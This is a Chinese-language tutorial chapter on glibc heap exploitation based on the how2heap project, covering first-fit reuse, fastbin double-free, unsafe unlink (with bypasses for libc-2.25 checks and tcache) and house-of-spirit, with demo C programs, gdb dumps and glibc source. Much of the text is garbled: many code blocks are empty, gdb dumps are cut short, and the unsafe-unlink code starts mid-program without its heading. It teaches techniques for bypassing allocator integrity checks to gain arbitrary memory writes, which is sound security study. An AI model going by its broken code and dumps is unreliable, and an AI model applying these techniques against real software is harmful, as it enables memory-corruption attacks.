## Linux 堆简介
堆是程序虚拟地址空间中的一块连续的区域，由低地址向高地址增长。当前 Linux 使用的堆分配器被称为 ptmalloc2，在 glibc 中实现。

更详细的我们已经在章节 1.5.8 中介绍了，章节 1.5.7 中也有相关内容，请回顾一下。


## how2heap
how2heap 是由 shellphish 团队制作的堆利用教程，介绍了多种堆利用技术，这篇文章我们就通过这个教程来学习。推荐使用 Ubuntu 16.04 64位系统环境，glibc 版本如下：
```
$ file /lib/x86_64-linux-gnu/libc-2.23.so 
/lib/x86_64-linux-gnu/libc-2.23.so: ELF 64-bit LSB shared object, x86-64, version 1 (GNU/Linux), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=088a6e00a1814622219f346b41e775b8dd46c518, for GNU/Linux 2.6.32, stripped
```
```
$ git clone https://github.com/shellphish/how2heap.git
$ cd how2heap
$ make
```

请注意，下文中贴出的代码是我简化过的，剔除和修改了一些不必要的注释和代码，以方便学习。另外，正如章节 4.3 中所讲的，添加编译参数 `CFLAGS += -fsanitize=address` 可以检测内存错误。[下载文件](../src/Others/3.3.6_heap_exploit)

#### first_fit
```c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main() {
    char* a = malloc(512);
    char* b = malloc(256);
    char* c;

    fprintf(stderr, "1st malloc(512): %p\n", a);
    fprintf(stderr, "2nd malloc(256): %p\n", b);
    strcpy(a, "AAAAAAAA");
    strcpy(b, "BBBBBBBB");
    fprintf(stderr, "first allocation %p points to %s\n", a, a);

    fprintf(stderr, "Freeing the first one...\n");
    free(a);

    c = malloc(500);
    fprintf(stderr, "3rd malloc(500): %p\n", c);
    strcpy(c, "CCCCCCCC");
    fprintf(stderr, "3rd allocation %p points to %s\n", c, c);
    fprintf(stderr, "first allocation %p points to %s\n", a, a);
}
```
```
$ gcc -g first_fit.c
$ ./a.out 
1st malloc(512): 0x1380010
2nd malloc(256): 0x1380220
first allocation 0x1380010 points to AAAAAAAA
Freeing the first one...
3rd malloc(500): 0x1380010
3rd allocation 0x1380010 points to CCCCCCCC
first allocation 0x1380010 points to CCCCCCCC
```
这第一个程序展示了 glibc 堆分配的策略，即 first-fit。在分配内存时，malloc 会先到 unsorted bin（或者fastbins） 中查找适合的被 free 的 chunk，如果没有，就会把 unsorted bin 中的所有 chunk 分别放入到所属的 bins 中，然后再去这些 bins 里去找合适的 chunk。可以看到第三次 malloc 的地址和第一次相同，即 malloc 找到了第一次 free 掉的 chunk，并把它重新分配。

在 gdb 中调试，两个 malloc 之后（chunk 位于 malloc 返回地址减去 0x10 的位置）：
```
gef➤  x/5gx 0x602010-0x10
0x602000:	0x0000000000000000	0x0000000000000211 <-- chunk a
0x602010:	0x4141414141414141	0x0000000000000000
0x602020:	0x0000000000000000
gef➤  x/5gx 0x602220-0x10

0x602230:	0x0000000000000000
```
第一个 free 之后，将其加入到 unsorted bin 中：
```
gef➤  x/5gx 0x602010-0x10
0x602000:	0x0000000000000000	0x0000000000000211 <-- chunk a [be freed]

0x602020:	0x0000000000000000
gef➤  x/5gx 0x602220-0x10
0x602210:	0x0000000000000210	0x0000000000000110 <-- chunk b
0x602220:	0x4242424242424242	0x0000000000000000
0x602230:	0x0000000000000000
gef➤  heap bins unsorted

 →   Chunk(addr=0x602010, size=0x210, flags=PREV_INUSE)
[+] Found 1 chunks in unsorted bin.
```
第三个 malloc 之后：
```
gef➤  x/5gx 0x602010-0x10
0x602000:	0x0000000000000000	0x0000000000000211 <-- chunk c
0x602010:	0x4343434343434343	0x00007ffff7dd1d00
0x602020:	0x0000000000000000
gef➤  x/5gx 0x602220-0x10
0x602210:	0x0000000000000210	0x0000000000000111 <-- chunk b
0x602220:	0x4242424242424242	0x0000000000000000
0x602230:	0x0000000000000000
```

所以当释放一块内存后再申请一块大小略小于的空间，那么 glibc 倾向于将先前被释放的空间重新分配。

好了，现在我们加上内存检测参数重新编译：
```
$ gcc -fsanitize=address -g first_fit.c 
$ ./a.out 
1st malloc(512): 0x61500000fd00
2nd malloc(256): 0x611000009f00

Freeing the first one...
3rd malloc(500): 0x61500000fa80
3rd allocation 0x61500000fa80 points to CCCCCCCC

```
一个很明显的 use-after-free 漏洞。关于这类漏洞的详细利用过程，我们会在后面的章节里再讲。

#### fastbin_dup
```c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main() {
    fprintf(stderr, "Allocating 3 buffers.\n");
    char *a = malloc(9);
    char *b = malloc(9);
    char *c = malloc(9);
    strcpy(a, "AAAAAAAA");
    strcpy(b, "BBBBBBBB");
    strcpy(c, "CCCCCCCC");
    fprintf(stderr, "1st malloc(9) %p points to %s\n", a, a);
    fprintf(stderr, "2nd malloc(9) %p points to %s\n", b, b);
    fprintf(stderr, "3rd malloc(9) %p points to %s\n", c, c);

    fprintf(stderr, "Freeing the first one %p.\n", a);
    free(a);
    fprintf(stderr, "Then freeing another one %p.\n", b);
    free(b);
    fprintf(stderr, "Freeing the first one %p again.\n", a);
    free(a);

    fprintf(stderr, "Allocating 3 buffers.\n");
    char *d = malloc(9);
    char *e = malloc(9);
    char *f = malloc(9);
    strcpy(d, "DDDDDDDD");
    fprintf(stderr, "4st malloc(9) %p points to %s the first time\n", d, d);
    strcpy(e, "EEEEEEEE");
    fprintf(stderr, "5nd malloc(9) %p points to %s\n", e, e);
    strcpy(f, "FFFFFFFF");
    fprintf(stderr, "6rd malloc(9) %p points to %s the second time\n", f, f);
}
```
```
$ gcc -g fastbin_dup.c 
$ ./a.out 
Allocating 3 buffers.
1st malloc(9) 0x1c07010 points to AAAAAAAA
2nd malloc(9) 0x1c07030 points to BBBBBBBB

5nd malloc(9) 0x1c07030 points to EEEEEEEE
6rd malloc(9) 0x1c07010 points to FFFFFFFF the second time
```
这个程序展示了利用 fastbins 的 double-free 攻击，可以泄漏出一块已经被分配的内存指针。fastbins 可以看成一个 LIFO 的栈，使用单链表实现，通过 fastbin->fd 来遍历 fastbins。由于 free 的过程会对 free list 做检查，我们不能连续两次 free 同一个 chunk，所以这里在两次 free 之间，增加了一次对其他 chunk 的 free 过程，从而绕过检查顺利执行。然后再 malloc 三次，就在同一个地址 malloc 了两次，也就有了两个指向同一块内存区域的指针。

libc-2.23 中对 double-free 的检查过程如下：
```c
    /* Check that the top of the bin is not the record we are going to add
       (i.e., double free).  */
    if (__builtin_expect (old == p, 0))
      {
        errstr = "double free or corruption (fasttop)";
        goto errout;
      }
```

三个 malloc 之后：
```
gef➤  x/15gx 0x602010-0x10

```
第一个 free 之后，chunk a 被添加到 fastbins 中：
```

```
第二个 free 之后，chunk b 被添加到 fastbins 中：
```

再三个 malloc 之后：

所以对于 fastbins，可以通过 double-free 泄漏出一个堆块的指针。

加上内存检测参数重新编译：

这个程序展示了怎样通过修改 fd 指针，将其指向一个伪造的 free chunk，在伪造的地址处 malloc 出一个 chunk。该程序大部分内容都和上一个程序一样，漏洞也同样是 double-free，只有给 fd 填充的内容不一样。

三个 malloc 之后：
```

```
这一次 malloc 之后，我们不再填充无意义的 "DDDDDDDD"，而是填充一个地址，即栈地址减去 0x8，从而在栈上伪造出一个 free 的 chunk（当然也可以是其他的地址）：
```

```
可以看到，伪造的 chunk 已经由指针链接到 fastbins 上了。之后 malloc 两次，即可将伪造的 chunk 移动到链表头部：
```
gef➤  x/15gx 0x602010-0x10
0x602000:	0x0000000000000000	0x0000000000000021

```
再次 malloc，即可在 fake chunk 处分配内存：
```
gef➤  x/5gx 0x7fffffffdc38-0x8
0x7fffffffdc30:	0x0000000000000000	0x0000000000000021 <-- fake chunk

0x7fffffffdc50:	0x0000000000602030
```

所以对于 fastbins，可以通过 double-free 覆盖 fastbins 的结构，来获得一个指向任意地址的指针。

    // pass this check: (P->fd->bk != P || P->bk->fd != P) == False

    // chunk0_ptr[1] = 0x0; // or 0x8, 0x80

    uint64_t *chunk1_hdr = chunk1_ptr - header_size;
    chunk1_hdr[0] = malloc_size;
    chunk1_hdr[1] &= ~1;

    // deal with tcache
    // int *a[10];
    // int i;
    // for (i = 0; i < 7; i++) {

    // }
    // for (i = 0; i < 7; i++) {

    free(chunk1_ptr);

    char victim_string[9];
    strcpy(victim_string, "AAAAAAAA");
    chunk0_ptr[3] = (uint64_t) victim_string;
    fprintf(stderr, "Original value: %s\n", victim_string);

    chunk0_ptr[0] = 0x4242424242424242LL;
    fprintf(stderr, "New Value: %s\n", victim_string);
}
```

这个程序展示了怎样利用 free 改写全局指针 chunk0_ptr 达到任意内存写的目的，即 unsafe unlink。该技术最常见的利用场景是我们有一个可以溢出漏洞和一个全局指针。

Ubuntu16.04 使用 libc-2.23，其中 unlink 实现的代码如下，其中有一些对前后堆块的检查，也是我们需要绕过的：
```c
/* Take a chunk off a bin list */
#define unlink(AV, P, BK, FD) {                                            \
    FD = P->fd;								      \
    BK = P->bk;								      \
    if (__builtin_expect (FD->bk != P || BK->fd != P, 0))		      \
      malloc_printerr (check_action, "corrupted double-linked list", P, AV);  \
    else {								      \
        FD->bk = BK;							      \
        BK->fd = FD;							      \
        if (!in_smallbin_range (P->size)				      \
            && __builtin_expect (P->fd_nextsize != NULL, 0)) {		      \
	    if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0)	      \
		|| __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0))    \
	      malloc_printerr (check_action,				      \
			       "corrupted double-linked list (not small)",    \
			       P, AV);					      \
            if (FD->fd_nextsize == NULL) {				      \
                if (P->fd_nextsize == P)				      \
                  FD->fd_nextsize = FD->bk_nextsize = FD;		      \
                else {							      \
                    FD->fd_nextsize = P->fd_nextsize;			      \
                    FD->bk_nextsize = P->bk_nextsize;			      \
                    P->fd_nextsize->bk_nextsize = FD;			      \
                    P->bk_nextsize->fd_nextsize = FD;			      \
                  }							      \
              } else {							      \
                P->fd_nextsize->bk_nextsize = P->bk_nextsize;		      \
                P->bk_nextsize->fd_nextsize = P->fd_nextsize;		      \
              }								      \
          }								      \
      }									      \
}
```

malloc\_size 设置为 0x80，可以分配 small chunk，然后定义 header_size 为 2。申请两块空间，全局指针 `chunk0_ptr` 指向 chunk0，局部指针 `chunk1_ptr` 指向 chunk1：
```
gef➤  p &chunk0_ptr

0x602130:	0x0000000000000000	0x0000000000000000
```

接下来要绕过 `(P->fd->bk != P || P->bk->fd != P) == False` 的检查，这个检查有个缺陷，就是 fd/bk 指针都是通过与 chunk 头部的相对地址来查找的。所以我们可以利用全局指针 `chunk0_ptr` 构造 fake chunk 来绕过它：
```

```
可以看到，我们在 chunk0 里构造一个 fake chunk，用 P 表示，两个指针 fd 和 bk 可以构成两条链：`P->fd->bk == P`，`P->bk->fd == P`，可以绕过检查。另外利用 chunk0 的溢出漏洞，通过修改 chunk 1 的 `prev_size` 为 fake chunk 的大小，修改 `PREV_INUSE` 标志位为 0，将 fake chunk 伪造成一个 free chunk。

接下来就是释放掉 chunk1，这会触发 fake chunk 的 unlink 并覆盖 `chunk0_ptr` 的值。unlink 操作是这样进行的：
```c
FD = P->fd;
BK = P->bk;
FD->bk = BK
BK->fd = FD
```
再说简单一点，由于这时候 P->fd->bk 和 P->bk->fd 都指向 P，所以最后的结果为：
```
chunk0_ptr = P = P->fd
```
成功地修改了 chunk0_ptr，这时 `chunk0_ptr` 和 `chunk0_ptr[3]` 实际上就是同一东西。这里可能会有疑惑为什么这两个东西是一样的，因为 `chunk0_ptr` 指针在是放在数据段上的，地址在 `0x601070`，指向 `0x601058`，而 `chunk0_ptr[3]` 的意思是从 `chunk0_ptr` 指向的地方开始数 3 个单位，所以 `0x601058+0x08*3=0x601070`：
```

所以，修改 `chunk0_ptr[3]` 就等于修改 `chunk0_ptr`：
```

gef➤  x/gx chunk0_ptr 
0x7fffffffdc70:	0x4141414141414141
```

这时 `chunk0_ptr` 就指向了 victim_string，修改它：
```
gef➤  x/gx chunk0_ptr 
0x7fffffffdc70:	0x4242424242424242
```
成功达成修改任意地址的成就。

最后看一点新的东西，libc-2.25 在 unlink 的开头增加了对 `chunk_size == next->prev->chunk_size` 的检查，以对抗单字节溢出的问题。补丁如下：
```diff

这里有三种办法可以绕过该检查：
- 什么都不做。
  - `chunksize(P) == chunk0_ptr[1] & (~ 0x7) == 0x0`
  - `prev_size (next_chunk(P)) == prev_size (chunk0_ptr + 0x0) == 0x0`
- 设置 `chunk0_ptr[1] = 0x8`。
  - `chunksize(P) == chunk0_ptr[1] & (~ 0x7) == 0x8`
  - `prev_size (next_chunk(P)) == prev_size (chunk0_ptr + 0x8) == 0x8`
- 设置 `chunk0_ptr[1] = 0x80`。
  - `chunksize(P) == chunk0_ptr[1] & (~ 0x7) == 0x80`
  - `prev_size (next_chunk(P)) == prev_size (chunk0_ptr + 0x80) == 0x80`

好的，现在 libc-2.25 版本下我们也能成功利用了。接下来更近一步，libc-2.26 怎么利用，首先当然要先知道它新增了哪些漏洞缓解措施，其中一个神奇的东西叫做 tcache，这是一种线程缓存机制，每个线程默认情况下有 64 个大小递增的 bins，每个 bin 是一个单链表，默认最多包含 7 个 chunk。其中缓存的 chunk 是不会被合并的，所以在释放 chunk 1 的时候，`chunk0_ptr` 仍然指向正确的堆地址，而不是之前的 `chunk0_ptr = P = P->fd`。为了解决这个问题，一种可能的办法是给填充进特定大小的 chunk 把 bin 占满，就像下面这样：
```c
    // deal with tcache
    int *a[10];
    int i;
    for (i = 0; i < 7; i++) {
        a[i] = malloc(0x80);
    }
    for (i = 0; i < 7; i++) {
        free(a[i]);
    }
```
```
gef➤  p &chunk0_ptr 
$2 = (uint64_t **) 0x555555755070 <chunk0_ptr>

0x7fffffffdd0f: 0x4242424242424242
```
现在 libc-2.26 版本下也成功利用了。tcache 是个很有趣的东西，更详细的内容我们会在专门的章节里去讲。

加上内存检测参数重新编译，可以看到 heap-buffer-overflow：

house-of-spirit 是一种 fastbins 攻击方法，通过构造 fake chunk，然后将其 free 掉，就可以在下一次 malloc 时返回 fake chunk 的地址，即任意我们可控的区域。house-of-spirit 是一种可以同时控制栈和堆溢出的方法。利用的第一步不是去控制一个 chunk，而是控制传给 free 函数的指针，将其指向一个被 fake chunk。所以 fake chunk 的伪造是关键。

首先 malloc(1) 用于初始化内存环境，然后在 fake chunk 区域伪造出两个 chunk。另外正如上面所说的，需要一个传递给 free 函数的可以被修改的指针，无论是通过栈溢出还是其它什么方式：
```
gef➤  x/10gx &fake_chunks

0x7fffffffdca0:	0x0000000000000000
```
伪造 chunk 时需要绕过一些检查，首先是标志位，`PREV_INUSE` 位并不影响 free 的过程，但 `IS_MMAPPED` 位和 `NON_MAIN_ARENA` 位都要为零。其次，在 64 位系统中 fast chunk 的大小要在 32~128 字节之间。最后，是 next chunk 的大小，必须大于 `2*SIZE_SZ`（即大于16），小于 `av->system_mem`（即小于128kb），才能绕过对 next chunk 大小的检查。

libc-2.23 中这些检查代码如下：
```c
void
__libc_free (void *mem)
{
  mstate ar_ptr;
  mchunkptr p;                          /* chunk corresponding to mem */

  [...]
  p = mem2chunk (mem);

  if (chunk_is_mmapped (p))                       /* release mmapped memory. */
    {
      [...]
      munmap_chunk (p);
      return;
    }

  ar_ptr = arena_for_chunk (p);     // 获得 chunk 所属 arena 的地址
  _int_free (ar_ptr, p, 0);         // 当 IS_MMAPPED 为零时调用
}
```
`mem` 就是我们所控制的传递给 free 函数的地址。其中下面两个函数用于在 chunk 指针和 malloc 指针之间做转换：
```c
/* conversion from malloc headers to user pointers, and back */

#define chunk2mem(p)   ((void*)((char*)(p) + 2*SIZE_SZ))
#define mem2chunk(mem) ((mchunkptr)((char*)(mem) - 2*SIZE_SZ))
```
当 `NON_MAIN_ARENA` 为零时返回 main arena：
```c
/* find the heap and corresponding arena for a given ptr */

#define heap_for_ptr(ptr) \
  ((heap_info *) ((unsigned long) (ptr) & ~(HEAP_MAX_SIZE - 1)))
#define arena_for_chunk(ptr) \
  (chunk_non_main_arena (ptr) ? heap_for_ptr (ptr)->ar_ptr : &main_arena)
```
这样，程序就顺利地进入了 `_int_free` 函数：
```c
static void
_int_free (mstate av, mchunkptr p, int have_lock)
{
  INTERNAL_SIZE_T size;        /* its size */
  mfastbinptr *fb;             /* associated fastbin */

  [...]
  size = chunksize (p);

  [...]
  /*
    If eligible, place chunk on a fastbin so it can be found
    and used quickly in malloc.
  */

  if ((unsigned long)(size) <= (unsigned long)(get_max_fast ())

#if TRIM_FASTBINS
      /*
	If TRIM_FASTBINS set, don't place chunks
	bordering top into fastbins
      */
      && (chunk_at_offset(p, size) != av->top)
#endif
      ) {

    if (__builtin_expect (chunk_at_offset (p, size)->size <= 2 * SIZE_SZ, 0)
	|| __builtin_expect (chunksize (chunk_at_offset (p, size))
			     >= av->system_mem, 0))
      {
        [...]
	    errstr = "free(): invalid next size (fast)";
	    goto errout;
      }

    [...]
    set_fastchunks(av);
    unsigned int idx = fastbin_index(size);
    fb = &fastbin (av, idx);

    /* Atomically link P to its fastbin: P->FD = *FB; *FB = P;  */
    mchunkptr old = *fb, old2;
    [...]
    do
      {
    [...]
	p->fd = old2 = old;
      }
    while ((old = catomic_compare_and_exchange_val_rel (fb, p, old2)) != old2);
```
其中下面的宏函数用于获得 next chunk：
```c
/* Treat space at ptr + offset as a chunk */
#define chunk_at_offset(p, s)  ((mchunkptr) (((char *) (p)) + (s)))
```

然后修改指针 a 指向 (fake chunk 1 + 0x10) 的位置，即上面提到的 `mem`。然后将其传递给 free 函数，这时程序就会误以为这是一块真的 chunk，然后将其释放并加入到 fastbin 中。
```

所以 house-of-spirit 的主要目的是，当我们伪造的 fake chunk 内部存在不可控区域时，运用这一技术可以将这片区域变成可控的。上面为了方便观察，在 fake chunk 里填充一些字母，但在现实中这些位置很可能是不可控的，而 house-of-spirit 也正是以此为目的而出现的。

加上内存检测参数重新编译，可以看到问题所在，即尝试 free 一块不是由 malloc 分配的 chunk：
```
$ gcc -fsanitize=address -g house_of_spirit.c 
$ ./a.out 
We will overwrite a pointer to point to a fake 'fastbin' region. This region contains two chunks.
The first one:  0x7fffa61d6c00
The second one: 0x7fffa61d6c20
Overwritting our pointer with the address of the fake region inside the fake first chunk, 0x7fffa61d6c00.
Freeing the overwritten pointer.
